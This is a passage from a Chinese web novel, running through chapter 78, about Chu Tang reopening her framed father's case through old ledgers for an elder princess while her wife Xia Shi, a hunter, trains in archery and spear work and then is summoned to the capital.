说完抬步离去,绕过亭台楼阁,终于抵达公主府前院。 她回来得算是晚了,仔细一看天边已有暮色渐合,可问过侍女才知道,长公主竟然还未回府。 萧晏书眉头皱了下,心知长公主这是又遇到刁难了,但这已是家常便饭。于是很快收敛了情绪,顺手敛一敛衣袍,干脆就坐在前院里等着对方回来。 安平公主回府时,天色都已经黑透了,萧晏书手边的茶盏也已经换过一回了。 眼看着那人归来满身的疲惫,萧晏书赶忙起身迎了过去,顺手还扶了对方一把:“公主没事吧?” 这动作有些过于亲近了,哪怕萧晏书是幕僚,是女子,可身为主君的长公主也该保持距离和威严。但她们两人一个扶得自然,一个接受得也很自然,两人就这样相携走入了厅堂:“无碍,一点小事罢了,算不得什么。” 萧晏书闻言却很不高兴,皱着眉抱怨一句:“就是小事才恶心人。他们没本事堂堂正正的胜过你,就拿这些小事来消磨你,平白浪费精力应付。” 说话间,长公主已然落坐,萧晏书便自然而然走到她身后,替她按了按胀痛的头。 长公主闭目缓了片刻,便抬手握住了萧晏书的手,制止她继续:“好了,先说正事。今日你去别院见过了楚棠,觉得她如何?” 萧晏书便重新坐在了长公主旁边,有些不舍松手,可惜对方已经先一步松开了她。于是她也不再纠缠,顺着长公主的话说道:“是个聪明人。只可惜当初事发突然,楚尚书全无防备就被人陷害牵连,连句交代也没留下,她什么都不知道。” 这结果原本也不算出乎意料,可长公主听了,依旧不免唏嘘。 楚棠的父亲楚旻乃是户部尚书,执掌着一朝财政,他能坐稳这个位置不仅是能力卓越,本身性格也足够小心细致。可大半年前京中出了一场谋逆案,本是大皇子暗中藏匿盔甲兵器,收买禁军将领,有逼宫之嫌。可事发之后不仅大皇子一系尽数伏诛,就连楚旻这个毫无干系的户部尚书也“意外”被牵连。 现在回忆起来,当初牵连上楚旻的证据,也不过是一封不知真假的书信。可暴怒之中的皇帝信了,当场就将这股肱之臣下了狱,而后不过三天,楚旻就在天牢中暴毙了。 这事从头到尾都透着股诡异,明眼人都能看出其中必有猫腻。可楚旻死得太快,背后之人下手又太狠,是以当时并没有人敢触皇帝虎须,替楚家翻案。哪怕是楚旻的亲朋故旧,心里想的也是等事情结束之后,再设法解救他的家人。 如此一来二去,被沈知微求到跟前的五皇子反倒成了第一个替楚尚书翻案的人。 可这一细查就出了问题,五皇子的人没找到楚尚书和大皇子勾结的证据,反倒从蛛丝马迹中发现楚尚书遇难前正在查一笔账。 说起这笔账,事情就还得往前推——五年前江南发生水患,朝廷耗费百万两赈灾,国库都被搬空了大半。好在赈灾的事没出什么纰漏,江南之后一派风平浪静,并没有因为受灾发生什么动乱,因此朝廷对于赈灾官员也是大肆封赏过的。 远在京城的贵人们没觉得有哪里不对,日子照常的过,空虚的国库也在之后几年陆续缓过劲来。可就在年初的时候,无灾无难的江南却突然生出了动乱,时隔五年没人想过和当初的水灾有关。 只有楚尚书,掐着指头一算,江南水灾后朝廷曾免了江南三年的税——虽然免的只是田税,但落实到百姓身上,需要缴纳的税银也比往年少了近半——如今到了第五年,也只是江南正常交税的第二年,正常来说应该不至于让百姓因活不下去而生出动乱来。 他敏锐察觉到了有什么不对,于是派了人往江南查探情况,自己则翻出五年前的旧账来看。可惜他派出的人还没回来,旧账也还没查出端倪,就白白在天牢里丧了命。 当然,楚尚书派出的人后来也没回来,而江南的事也被大皇子的谋逆案压下了风头。 ****************************************************************** 夏时被唐奕拉着在演武场折腾了一整天,从弓箭拳脚到十八般兵器,都让她试了个遍——弓箭拳脚自然夏时擅长的,唐奕与她打过一场算是摸底。而十八般兵器夏时从前别说碰了,许多连见都没见过。她所熟悉的武器只有猎刀,以及她自己制造的粗制武器,其他包括常见的刀剑她都用不顺手。 这自然是不行的,毕竟猎刀并不是主流,像上回夏时的刀被砍坏了只能临时捡敌人的刀来用。虽然不耽搁她杀人,但到底用得不是十分顺手,而这个不顺手在要紧的时候则是致命的。 唐奕深知其中危险,因此她打算帮夏时选几种趁手的兵器学起来。 至于骑射武功,只能说小猎户不亏是猎户。她的箭术都是冲着山林中奔跑的猎物学来的,射活物都一射一个准,射死物更是百步穿杨。武功方面她虽没练过什么成*体系的拳脚,但和野兽搏命学来的技巧招招狠辣致命,就是唐奕赤手空拳和她打,也占不到丝毫便宜。 而骑马这项,说来就有些好笑了。山野猎户自然是养不起马的,云雾山里也没有野马,夏时从前就没学过骑马。可今日唐奕带着她爬上了马背,却根本不需要她教导太多,这人凭着本能就轻易掌握了大半技巧。 然后她就挑中了别院内最好的一匹马,同时那也是最野的一匹马——因为野马难驯,这匹马虽好却没人敢把它牵到长公主跟前,怕它伤了贵人。于是好好的一匹马也惨遭流放,直接给送到这温泉庄子上了,正好被眼尖的夏时相中。 马夫知道夏时是才学的骑马,根本不敢把这马交给她,还是唐奕替她要了过来。结果夏时翻身上马后,那桀骜不驯的野马也就象征性的挣扎了一下,很快就认了主。 归根结底,还是夏时这些年打猎杀的野兽太多,让敏锐的野马也生出了忌惮之心。 如是又是骑马,又是射箭,又是比斗,又是教学……一整天折腾下来,饶是夏时体质强悍精力旺盛,等到晚间唐奕放她回去的时候,也是筋疲力尽。 今日所得唯一好处是唐奕送了把短刀给她,虽比不上猎刀趁手,但刀刃明亮锋利,也十分得夏时喜欢。 夏时就是一边把玩着手中短刀,一边慢慢拖着沉重脚步挪回的客院。然后刚转过回廊就看见房中灯火已然点亮,应该是楚棠比她先回来了。 发现楚棠在屋里等着,夏时也就顾不得什么短刀了,赶紧将刀收回鞘中。原本疲累到拖着走的脚步也像是重新被注入了力气,一下子变得轻快起来。乃至于她小跑着来到房门前,几乎是跳进门槛的:“阿棠你回来了?” 楚棠确实已经回来了,比夏时要早许多,只是夏时进门的招呼声她却像是没听见,依旧坐在桌边盯着面前的跳跃的烛火发呆,不知在想些什么。 夏时还是头一回见楚棠如此模样,脸上高兴的笑容都收敛了起来。她放慢脚步走了过去,并未收敛脚步声,可楚棠依旧是没听见的样子。直到夏时走到她面前,伸手在她眼前挥了挥,手掌的阴影遮住了烛火,后者才像是猛然惊醒一般,抬头看见了夏时。 四目相对,夏时眼中的轻松便都消失不见了,她皱皱眉,一眼就看出了楚棠情绪的低落。虽不知发生了什么,但她还是下意识伸手将人抱住:“怎么了,你怎么不开心?” 楚棠已经呆坐许久了,面上无悲无喜看不出异样,脑海里其实是一团乱麻。 直到此刻,她被夏时揽入怀中,熟悉的怀抱熟悉的温暖,像是忽然戳破了平静的假面。楚棠猛的将头扎入她怀中,不知迟了多久的泪水,忽然间就决堤了。 时隔半载,她终于知道了自己的父亲因何遇难。他明明什么都没做错,却被小人的野心所害,效忠的君王不仅对他毫无信任,一封伪造的书信就给他定了罪,甚至多多少少带上了迁怒。 而她当初一无所知,身陷囹圄连为父亲伤心都来不及,就被送上了流放的死路。现在她知道了一切,可她的父亲依旧背负着谋逆罪人的骂名,她连替他翻案都难——当然,她其实也不是很想找那昏君讨公道。或者说她只想要一个公道,而不想再看那昏君高高在上,一言定人生死的模样。 楚棠埋首在夏时怀中,流泪的同时,暗暗咬紧了牙关。 76☆、第76章 ◎夏时整个人可以说是脱胎换骨◎ 楚棠在夏时怀中好好哭了一场,但并没有和她说自己父亲的事。一来是不知从何说起,二来说了对方也帮不上忙,不过是平白跟着担忧罢了。 不过自从这天哭过之后,楚棠的生活一下子就变得忙碌起来。 当然,夏时也很忙。她忙着适应新环境,忙着跟唐奕学武,忙着从唐奕偶尔的话语中了解京城。可即便如此,每天忙得筋疲力尽的回到客院,她却再没有看到灯火提前亮起。她得一个人吃饭,一个人等待,往往要等到夜深,才能看到楚棠一脸疲惫的回来。 夏时不知道她在忙些什么,却能看到短短时日里,本就单薄的楚棠又清减了几分。她自是心疼的,忍了又忍,这天终于忍不住拉住了楚棠:“阿棠,你这些天到底在忙些什么?” 楚棠脸色疲惫,已经好些天没能与夏时好好相处了,闻言顿了顿还是说了实话:“我在帮长公主做事,同时也是在替我父亲翻案。” 这话让夏时没法反驳,她紧蹙的眉头放松了些:“那你也得顾惜自己的身体。” 楚棠听到这关切的话语,心头自是熨帖,但到了嘴边的话却是:“我很好,不必担心。” 话音刚落,她的腰间便缠上了一条手臂,夏时搂着她的腰皱眉摇头:“你这腰本来就细,现在又细了不少,真怕我稍稍用力,这腰就折了。”说完手臂还真用力了些,却是直接将人抱了起来,吓得楚棠惊呼一声赶忙按住她的肩:“看,我一条手臂就能把你抱起来了。” 楚棠脸色微红,在她肩头捶了一下:“好了,快放我下来。” 夏时听话的松了手,只是眼中多多少少有些不舍。若是细究,那不舍之下还有些黏糊,两人目光交错的瞬间,楚棠就看懂了那目光,脸一下子更红了。 她伸手推了推夏时,夏时也没做什么出格的事,只是抱着她又在她颈边蹭了蹭,撒娇一般。 楚棠被她蹭得心软,抬手摸摸她披散的发丝:“好了,乖,你我都有正事要做,等过了这段时间就好了。”说完顿了顿,语气莫名:“不会太久的。” 夏时总是很好哄的,楚棠摸摸她的发丝,她就像是被顺了毛的大狗,满足的眯了眯眼。听了楚棠的话,她抬起头来,问道:“那有什么是我能帮上忙的吗?” 楚棠笑笑,不置可否:“你跟着唐小将军好好学本事就好。” 夏时听了有点失落,她还是更想跟在老婆身边的。不过楚棠既然这样说了,她自然还是会听话的,不过心里也打定了主意,一定要学得快一些——她知道唐奕很厉害,就连公主别院里这些人也对她恭敬有加,如果她能学得和唐奕一样厉害,那就一定能帮得上楚棠。 楚棠似是察觉到了她的这份失落,指尖卷了夏时的一缕长发转了转:“走吧,沐浴去,好好休息一夜,明日还有的忙。” 夏时眨眨眼,眸光微亮:“一起吗?” 楚棠瞥她一眼,虽未点头却是意味分明,于是下一刻就又被人一把抱了起来。 ********************************************************** 夏时打定主意要和唐奕好好学习,也不是一时冲动,她当真将之付诸了实践。于是在接下来的一个月里,唐奕惊讶的发现夏时学习成长的速度飞快。 一开始夏时的本事都是山野中自己摸索出来的,虽然也十分实用,但并没有什么体系,相比对付人也更适合对付野兽,再则就连刀剑她都使得不顺手。可只是短短一个月的时间,她跟着唐奕学会了基础的拳法、刀法、剑法,甚至连唐家驰骋疆场的枪法,她都跟着学了一招半式。 与此同时,新得的坐骑也和她磨合良好,不仅能在别院里跑两圈,甚至能带着她离开别院在京郊驰骋。待夏时的骑术渐渐精湛,唐奕便又将弓箭长枪递给了她,让她试着在马上使。 当然,除了骑射武功,唐奕也试着教她些兵法,可惜这一点上夏时就没那么灵光了。 唐奕教了夏时这些日子,多少生出些师徒情,不忍心一棵好苗子浪费,于是谆谆教导:“光学武艺不学兵法,到头来也不过是个武夫,难道将来你还准备靠打猎安身立命?” 夏时却很清醒:“学些武艺就够了,我又不当将军打仗,学兵法做什么?” 唐奕一噎,接着恨铁不成钢:“没出息,你就不能有点志向?不怕将来配不上你家阿棠?” 夏时便扬了扬下巴,一脸得意:“我本就配不上她,可她还是喜欢我。”说完瞧了唐奕一眼,又小声嘀咕:“当将军有什么好的,一年到头不回家,我可舍不得。” 唐奕想想自己和老婆聚少离多的日子,再想想夏时那一刻都离不开楚棠的性子,当真是无话可说。她摆摆手,不再劝了,从此之后兵法就随便教教,夏时学到多少是多少。 如是又过去三月,等到入夏时节,天气渐渐热了起来,夏时整个人可以说是脱胎换骨。 …… 时隔数月,夏时的变化肉眼可见。除了武艺更加高强身体更加强健之外,她的气质,她的见识,乃至她对外的姿态都有了天翻地覆的变化,再不会让人一眼就看出她的底细。 而这些时光于辛苦忙碌的楚棠来说,自然也没有白费。 就在夏时兢兢业业学习的这些时间里,京城里也发生了不少事——随着皇帝步入老年,他膝下的皇子也开始争权夺利。去岁一口气就废了两个,居长的大皇子率先因谋逆出局,接着居嫡的五皇子又意外薨逝。剩下的二、三、四、六几个皇子都已成年,看上去机会平等,于是争斗越发激烈。 只是去岁死的是皇子,今年遭殃的就变成了官员。短短几月间,朝中四品以上的官员就换了十几个,有的抄家流放,有的贬谪出京,朝堂上的人员可谓是大换血。 当然,争斗的皇子党们没忘记提防长公主这个异类。他们自顾争他们的,但每一个空出的位置,也会由几个皇子的势力瓜分,根本不给长公主的人半点占便宜的机会。只不过这是他们以为的,在皇子们都只盯着四品以上的高位时,四品以下同样惨遭连累的各部官员,也不知轮换了多少了。 朝堂的风起云涌自是影响不到京郊的一处别院,但楚棠这几个月时间也没有白白辛苦。她花费数月光景,终于从长公主弄来的户部旧账中,寻到了真实的破绽。 消息经过别院侍从传回了公主府,隔日萧晏书便再次出现在了别院书房内。 彼时这本属于长公主的书房已经完全交给了楚棠来用,书房里到处都是摊开是书册笔墨,萧晏书一脚踏进去几乎无处落脚。不过她也没说什么,提起袍脚小心走到案前,笑问楚棠:“楚姑娘数月辛苦,这是终于有了成效?” 楚棠脸上难掩疲惫,但一双眼睛却是晶亮,她没有多言,直接抬手递了两本册子给萧晏书。 萧晏书接了过去细看,她身为长公主的幕僚自是有些本事的,无数账目落在眼前她或许也需要许多时间才能理清,但已经递到面前的证据,她却不至于看不出来——两本册子,一本是有问题的户部账册的抄本,另一本则是楚棠自己誊写的证据。 不过片刻,萧晏书便看出了问题所在,同时也看出了楚棠的敏锐和聪慧——她誊写的那本册子用的不是她自己的笔迹,而是楚尚书的笔迹,萧晏书从前恰好见过,此时竟难辨真伪。 她不禁轻笑了一下。 确实,户部的账目出了问题,长公主是不好随意插手的。可若是前户部尚书发现了问题,却在上奏之前惨遭陷害失去了说话机会,这事就顺理成章了许多。 只是这册子不能是长公主拿出来的,否则就算是真的,也有的是人针对反驳。她得想想这东西到底交给谁,再看看什么时机捅出来的好。 萧晏书想着收起了册子,冲楚棠一拱手:“很有用,有劳楚姑娘了。” 楚棠并不在乎辛苦,也不在乎萧晏书的态度,只问她:“何时才能替我父亲翻案?” 萧晏书闻言正了神色,说道:“楚姑娘应当知晓,只有这册子还不够。五年前江南那边到底发生了什么,去岁又发生了什么,这才是找出幕后黑手的关键。”她说着皱了下眉:“公主已经派人前往江南查探了,不过暂时还没有消息传回来,楚姑娘恐怕还得再等等。” 楚棠闻言闭了闭眼,对于这个回答也不算意外,只咬着唇狠狠点头:“好,我等就是了。” 萧晏书见她如此,心也不由一软,安慰了一句:“放心,公主心里有数,不会让你等太久的。” 这点楚棠信,当初截留赈灾款,后来又为了掩盖事实置她父亲于死地的,有这样动机和能力的无非就是那些人。长公主为达目的也避不开这些拦路虎,早晚都得对上,自是得将人打落尘埃。 双方有着这样的共识,因此楚棠也不失望,交代完事情之后她亲自送了萧晏书出门——证据的事告一段落,她暂时算是闲了下来,今日也能早些回去,送萧晏书也算是顺路。 只是楚棠没想到,她刚送萧晏书出门,就瞧见夏时正眼巴巴等在主院外。 77☆、第77章 ◎比昨天那个萧先生更厉害◎ 夏时不是第一次来接楚棠了。 虽然长公主的院子不是谁都可以进的,但她在院外等着,那些守着主院的侍卫也不会驱赶。只是楚棠没想到,她平日总是晚归,夏时却会来得这么早。 四目相对,楚棠微微一怔,接着便笑着迎了过去:“你今日怎的来这么早?” 夏时目光在萧晏书身上飞快扫过,随后便将注意力重新放回了楚棠身上,她牵起了她的手,回道:“今日唐奕回城去了,我一个人练习,看着时间差不多就过来了。”顿了顿才又道:“我还以为会等上许久呢,你今日怎么也这么早?” 真实答案当然是她已经做完了自己能做的,但如今身在大庭广众,这话楚棠可就不好直说了。眼眸微转间,给出个敷衍的答案:“今日有些疲惫,就早些回去了。” 这话夏时可不信,不仅是因为她对楚棠的了解,对方一个眼神她就能分辨出她说的是真话还是假话。再说萧晏书还没走呢,她看着楚棠送人出来的,对方又怎么会是毫不相干的人? 好在夏时如今也学乖了,知道不该问的话不问,于是假装信了。 小两口日日都能相见,可短暂的分别过后,再见时依旧有着说不完的话。抛开之前的话题,夏时很快寻了别的话与楚棠说,像是已经忘了萧晏书这号人。 萧晏书倒也没急着走,更不见被怠慢的着恼,她就站在一旁饶有兴趣的打量起了夏时——温泉别院里有这样一号人,她当然是知道的。她不仅知道夏时的存在,更是将她的身份来历,以及与楚棠之间的那些经历都查了个七七八八。 说实话,这样一个底层的小人物,换个时候根本没资格出现在长公主的别院里。可偏是恰逢其会,她不仅在楚棠落难时将人买下了,两人还日久生情了。 在萧晏书乃至长公主的计划里,楚棠并不是个用完就可以扔的工具人。她有才学,有能力,有立场,还与沈知微相交莫逆,天然就是长公主这边的人。而长公主来日想要坐稳皇位,所缺的恰恰是能站在朝堂上为她发声的女官——本朝没有女帝也没有女官,所以她们天然就是同盟。 如此一来,楚棠不再是可有可无的人,那站在她身边的人便同样不可轻忽。恰好对方同为女子,恰好她还有点骑射的本事,萧晏书私心里是有想过将人往武将方面培养的,也好给唐奕做个帮手。 可惜,唐奕在她的示意下有好好教导过对方,偏这人烂泥扶不上墙,不肯好好学兵法。 以上都是萧晏书通过旁人所知的夏时,两人真正见面,今日倒是头一遭。有趣的是夏时在看到她第一眼的时候,萧晏书就察觉到了一股直白又锋锐的敌意,像是发现发现了天敌的狼。只是这狼还没来得及冲她呲牙,就看到了旁边的主人,于是收起爪牙,又变成了一只乖巧的大狗。 有趣,当真是有趣。 萧晏书挑着眉,带着兴味的目光在楚棠和夏时身上来回。最后发现那两人实在忘我,只好主动轻咳一声,彰显存在:“楚姑娘,这位可是尊夫人?” 夏时还是第一次听人这样称呼自己,感觉有些奇怪,但心里并不排斥。她甚至有点高兴,黑黝黝的眸子明亮几分,下巴也往上抬了些,颇有些骄傲模样。 楚棠瞧见了,哭笑不得的同时还有点羞,于是偷偷在夏时背上拍了一记,示意她收敛些。 骄傲的大狗瞬间委委屈屈,目光瞥了楚棠一眼又一眼,可还是乖乖的收敛起多余的表现,一本正经的冲萧晏书拱手说道:“我叫夏时,夏天的夏,时间的时。”说完又瞄了楚棠一眼:“是阿棠的夫人没错,阿棠也是我夫人。”说到最后嘴角还是翘了起来。 萧晏书一眼就能看穿小猎户那浓烈的情意,心中对她的恨铁不成钢在这一刻,似乎也淡了几分。她瞧着两人,眸底闪过一丝羡慕,却并未让人察觉:“这便是了,我听说夏姑娘你射术极佳?” 夏时本不是什么谦逊的人,在萧晏书面前就更不会谦虚了,当下点头道:“百步穿杨不成问题。” 萧晏书看着她那又扬起的下巴,不免笑了起来:“那便好,过些时日恐怕还得劳烦姑娘帮个小忙。” 夏时闻言并没有大包大揽,也没有追问究竟,而是将询问的目光投向了楚棠。楚棠也不知萧晏书口中的小忙是什么,但她没从萧晏书身上看到什么恶意,于是冲着夏时微微颔首。 得到首肯,夏时便毫不犹豫的答应了下来,仿佛楚棠说什么她都会听从。 萧晏书深深看她一眼,随后冲二人拱手告辞,这才转身离开。 ********************************************************************** 楚棠终于闲了下来,或者说她终于完成了长公主对她的考验——长公主既然能弄来户部的账册,自然不缺帮她看账的人,楚棠花费数月才找到的问题她恐怕早就知道了。那些账册是长公主对她能力的考验,与此同时,她模仿父亲笔迹写下的那本册子,则算是她的投名状。 当然,楚棠心里也清楚,这件事还没完,长公主真正需要的恐怕还是拿她的身份做文章。只不过那就是之后的事了,得看合适的时机,眼下她却是闲了下来。 翌日一早,小两口照常早起,洗漱完一起出门,夏时才发现楚棠今日并未与她分开。 思及昨日楚棠早归,夏时心里顿时生出个猜测来,她勾勾楚棠的手指:“阿棠今日怎么跟我一起?是你的事终于做完了,有时间陪我了吗?” 楚棠瞧她眼眸亮晶晶忍不住笑的模样,自己也跟着笑了起来:“怎么,不欢迎我和你一起?” 夏时一听她当真是要陪着自己,顿时高兴的在原地跳了跳,几个月来学会的稳重在老婆面前一星半点都剩不下。她高兴的围着楚棠转了两圈,嘴里一叠声的回应:“怎么会,阿棠你跟我一起去演武场可太好了。我和你说,这几个月我跟着唐小将军可学了不少本事,一会儿都比划给你看看。” 她的快乐如此真切,以至于楚棠也受她感染,一路笑着与她同行。 不多时,两人便来到了别院的演武场。 夏时有心想要冲楚棠卖弄,来到演武场后便直奔她最擅长的弓箭。取了弓她便回头冲楚棠笑:“阿棠你看,我射术又精进了。” 一边说,她一边走到射箭的位置去。只是她走到了箭囊所在,却只从其中抽出两支箭,并未站定射箭而是一路后退。楚棠目测那箭靶本就在百步之外,对于一般人来说已经算是极远的了,想要射中靠的不仅是准头,更是力道。 可夏时却似不满意这距离,又往后足足退了二十步,这才张弓搭箭。她最后瞥了眼楚棠,收回目光之后便是全神贯注,也并未瞄准太久便松了手。 箭矢伴随着破空声飞射而去,眨眼的功夫就听“笃”的一声,射中了远处箭靶。 楚棠定睛一看,那箭矢正中靶心,箭尾的羽毛还在微微颤动。 “好!”一声叫好从身后传来,吓了楚棠一跳,回头一看却是几个别院侍卫也来演武场训练,正巧见到夏时露这一手,没忍住叫好出声。叫过“好”后,这几人也去取了弓箭来练,只是所站位置堪堪距离箭靶五十来步,比起夏时果然是差远了。 有了对比,夏时就更得意了,在老婆面前晃来晃去,像是就等着她开口夸。 楚棠自然看出来了,也被夏时这幼稚的模样逗笑,不过还是捧场的夸道:“我就知道,阿时的射术一直很厉害,连豹子都射得,靶子又算什么?” 老婆随便夸一夸,夏时就高兴的眯起了眼。只是现下演武场内不止是她们两人,有了外人在,夏时就收敛了许多……她貌似沉稳的点了点头,转手一箭射出,演武场外的一棵大树上,一只斑鸠旋即掉落下来。夏时便又冲着楚棠挤了挤眼睛,像是再说:看,我射猎的本事也没丢。 楚棠笑弯了眼,主动走去将那只斑鸠捡了回来:“不错,正好可以炖锅汤。” 夏时唇角跟着弯了弯,长公主的别院自然不缺吃的,可听了楚棠的话她还是很高兴,像是又回到了云雾山上。不过这点小高兴她们两人知道就够了,夏时放下弓又取了长枪来:“我还跟着唐小将军学了枪,舞给你看。” 话音落下,夏时已经挥动起手中长枪,枪出如龙,横扫如风,一套枪法在她手中舞得虎虎生风。 楚棠是不会武的,但不妨碍她觉得夏时动作行云流水,好看极了——别管这几个月学会的枪法实战性有多少,至少架子是有了,楚棠看得双眼亮晶晶,目光落在夏时身上就舍不得移开半分。 夏时自然是察觉到了这道追随的目光,心头越发火热,之后舞刀弄剑也半点不含糊。 将这几个月自己所学一一展示完,夏时也热出了一头的汗,楚棠见状掏出帕子上前替她细细擦拭。夏时就一边享受着老婆照顾,一边盯着楚棠近在咫尺的脸,过了会儿忽然问道:“我现在是不是也很厉害?比昨天那个萧先生更厉害?” 楚棠闻言一愣,反应过来后有些想笑,可对上夏时目光后又笑不出来了。 78☆、第78章 ◎对方头顶一片“啊啊啊”的大字霸屏◎ 夏时总是爱吃醋的,这一点楚棠很久之前就知道了。不过那时夏时吃醋的对象是大丫,不到十岁的小丫头,说什么吃醋都是玩笑,实际上夏时就是想让她哄而已。 可这一回不同,楚棠一眼就看出了她在吃醋,却在夏时眼底看到了认真与忐忑。 怎么会忐忑呢?难道她还真以为自己不如别人? 楚棠心里这样想着,态度上自然也不会给对方误会的机会,她收敛起笑意,一脸认真的回答:“当然,我的阿时是最厉害的,在我心里没有人能比得过你。” 夏时其实知道,自己那话十分没有道理,萧晏书一眼可见是个文人,她们俩也根本没有可比性。楚棠说她更厉害,多半是在哄她,但后一句却顺利给偷偷炸毛的大狗顺了毛——夏时从来不在意别人怎么看,只要楚棠能坚定的选择她就够了。 满脸严肃的大狗瞬间摇起了尾巴,就算演武场还有别人也忍不住,凑到楚棠身边跟她贴贴。 倒是楚棠有些不好意思,偷偷瞥了眼周围,然后就牵着夏时转身出了演武场:“折腾这么久你也累了,先到旁边去歇一歇吧。” 夏时自然乖乖被牵走了,瞥一眼两人牵着的手,眼底都是笑。 演武场旁倒也有供人休息的桌椅,正好安置在一棵大树底下,在这初夏的灿烂阳光中投下一片阴影。桌上还有一大壶茶水,一看就是给演武场上训练的人准备的。 夏时跟着楚棠走到休息处,自觉提起茶壶就给自己倒了碗茶喝,只是一碗茶喝完还没来得及把碗放下,就听楚棠忽然问道:“你刚才为什么那样问?” 此言一出,夏时目光明显飘忽起来,像是心虚,也像是有什么事瞒着楚棠。 楚棠自然一眼看穿,根本不给夏时逃避的机会,抬起双手直接捧住了夏时的脸。远远望去,就像是两人在亲吻一样,亲昵得过分。 两人四目相对,夏时不得不提醒一句:“你不怕被别人看到了吗?” 楚棠这时倒是理直气壮起来:“看到又如何?你是我夫人,便是我真与你做些什么,难道不是应该的吗?”话语铿锵有力,只是耳根还是不可避免的有点红,楚棠飞快转移了话题:“别想糊弄我,你今天这醋吃得好没道理,昨晚还憋了一夜。说说看,你到底在想些什么?” 夏时脸又红了,眼神也再次飘忽起来,可惜这次两人距离太近,根本没给她逃避的机会。 终于,小猎户肩膀耷拉下来,声音却低若蚊蝇:“我不爱读书,不够聪明,到现在也就认识几个字。唐奕给我的兵书我看不懂,吟诗作对,赌书泼茶我样样都不行……” 她的声音太小,要不是两人离得足够近,楚棠根本听不清她在说些什么。可听清之后她心情却越发复杂起来,隐约察觉到了夏时在介意些什么:“谁与你说了些什么吗?” 夏时这时倒也老实,干脆的把自己师父卖了:“唐奕和我闲聊,说她们都以为你会嫁个志趣相投的才子。可我不是,你会的东西我都不会。”在云雾山她尚有发挥本事的余地,平民百姓的生活也和吟诗作对相距太远,可这里却是京城,永远不缺惊才绝艳的人。 唐奕当初是玩笑一般和她说起这些的,夏时当时听了也没上心,只觉得老婆喜欢她就足够了。可昨日看到楚棠和萧晏书说着话走出主院,哪怕两人举止并不亲密,却让夏时莫名觉得般配。 夏时因此偷偷嫉妒起来,一晚上活像是泡进了醋坛子,偏还没道理把这心里那点酸表现给枕边人看。 不过今天她到底是没憋住,而楚棠听完她的话更是哭笑不得。好在楚棠同时也意识到,这些日子她或许真的太冷落夏时了,以至于她不自信到看见个人就觉得自己比不上——夏时或许真比不上萧晏书,但至少在楚棠心里不是的。 没必要多说什么,楚棠本就捧着夏时的脸,这时候干脆凑上去结结实实亲一口更能表明态度。她确实是大着胆子这样做了,却不料这一口亲下去对方却不肯放人了。 夏时没少和楚棠亲近,哪怕是这几个月足够忙碌,晚间两人相处也少不了亲密。可那是私下里的相处,像现在这样大庭广众之下亲近还是头一次,尤其这还是楚棠主动的……小猎户可不在乎什么羞耻不羞耻的,逮着机会就干脆伸手扣住了楚棠的后脑勺,根本不被她退开的机会。 这一吻持续良久,等楚棠终于把人推开,捂着红肿的唇第一反应就是扭头看向周围。 演武场上的侍卫还在练功,似乎并没有注意到场外的这场亲密,楚棠松口气的同时,回过头还是没忍住嗔了夏时一眼:“成天胡思乱想,我要是不愿意,难道还能被你纠缠?” 楚棠现在说这话听起来有些可笑,毕竟当初她算是依靠夏时而活。但她这么说心里却是有底气的,这底气不是旁处得来,正是夏时一直以来对她的偏爱——如果她当初真的不接受小猎户,对方多半也不会勉强她,到最后两人不过是一场相救,一场报恩罢了。 两人走到如今,算是水到渠成,虽然没有什么口头上的海誓山盟,但楚棠自觉算是心有灵犀。 夏时被老婆瞪了,反而心安许多,笑得一脸傻气。 ********************************************************* 萧晏书说有事要请夏时帮忙,当真没有耽搁太久,很快便再次出现在了别院里。 “要我进城去?”夏时抓着楚棠的手不肯松开,眉头也皱了起来:“只有我一个人吗?阿棠不和我一起去?她一个人留在这里,我不太放心。” 萧晏书看着她那舍不得老婆的样子,心里不免和唐奕生出了同样的念头,当真是恨铁不成钢。只是说教的事轮不到她,她便压下了情绪:“楚姑娘如今身份特殊,暂时还是不要露面比较好。上回说过有事请你相帮,你随我入京,公主想要见你一面。” 夏时有点不情不愿,手指被楚棠捏了捏,这才不甘不愿的点头:“那好吧,我就和你走一趟。”说完扭头看向楚棠:“阿棠,我很快回来,你别担心……” 萧晏书轻咳一声,打断了她的话:“恐怕没办法很快,得耽搁些时日。” 夏时一听,更不情愿了,可她心里也明白自己和楚棠这几个月全赖长公主庇护,于情于理都无法拒绝。最后还是楚棠亲自把她送出了门,她这才依依不舍的随萧晏书离开。 马车缓缓驶出别院,载着夏时,头一次踏进了京城。 巍峨的城墙,如织的人流,鳞次栉比的街道,打马而过的权贵子弟……这些都是夏时过往不曾见识过的。如果半年前她刚随唐奕抵达京城,见到这副场面定是要*多看几眼,露出些没见过世面的模样。而如今她虽然依旧觉得新奇,却已经能够很好的管理住表情了。 萧晏书只在旁静静的观察她,也不多说什么,见夏时这副沉得住气的模样,心里倒也微微点了点头——唐奕向公主推荐这人,如今看来倒也不算差。 马车缓缓驶过街道,在夏时看够了新奇,甚至感到几分无趣的时候,终于抵达了公主府。 车夫照常驾着马车从后门直入府中,夏时等车停稳也没急着下车,而是等萧晏书先踩着车凳下了马车,这才从车上跳了下来。然后她一边活动筋骨一边看了看周围,觉得公主府也不过如此,看着并没有比温泉别院更精致奢华。 直到萧晏书冲她招招手:“走吧,公主在书房等着你呢。” 夏时一愣,书房这地方对她来说有些特殊,不说书房本身的意义,就是别院的书房她都没进去过。如今倒好,她刚一来公主府,居然就有资格进书房了? 眸光微微一亮,夏时心里莫名生出了几分期待来。然后她就跟着萧晏书真正踏入了公主府,见识过那些亭台楼阁雕梁画栋,夏时才终于后知后觉知道什么叫做富贵——当然,如果这话说给萧晏书听的话,她或许会告诉夏时,与那些皇子府比起来,长公主的府邸甚至算得上寒酸。 不过府邸再如何漂亮,也不过是外在。夏时虽然被惊艳了一把,但也没有十分羡慕或是向往,她就将这一切当成了风景,看过也就看过了,当下更重要的自然还是面见长公主。 两人穿庭过院,足足走了一刻多钟,才终于来到了长公主的居所。 萧晏书告诉她,公主府里长公主的居所就不是什么院子了,而是寝殿。红墙绿瓦的殿宇修建得很是高大漂亮,其中不仅有公主寝居的寝室,书房也在其列。 夏时跟在萧晏书身后走了过去,这里的守卫理所当然比别院更多,一眼看去不像是在家里,而像是在什么机密场所。 心里嘀咕两句,夏时乖觉的收敛了目光没敢多看。好在那些守卫对萧晏书都十分客气,简单问过一句之后并没有为难,便将两人放了进去。 夏时亦步亦趋跟着萧晏书,看着她走到书房外,看着她请侍女通报。在获得长公主首肯后,又跟着她一起踏进了书房……长公主长什么样她还没看清,就先看到了对方头顶一片“啊啊啊”的大字霸屏。 【作者有话说】 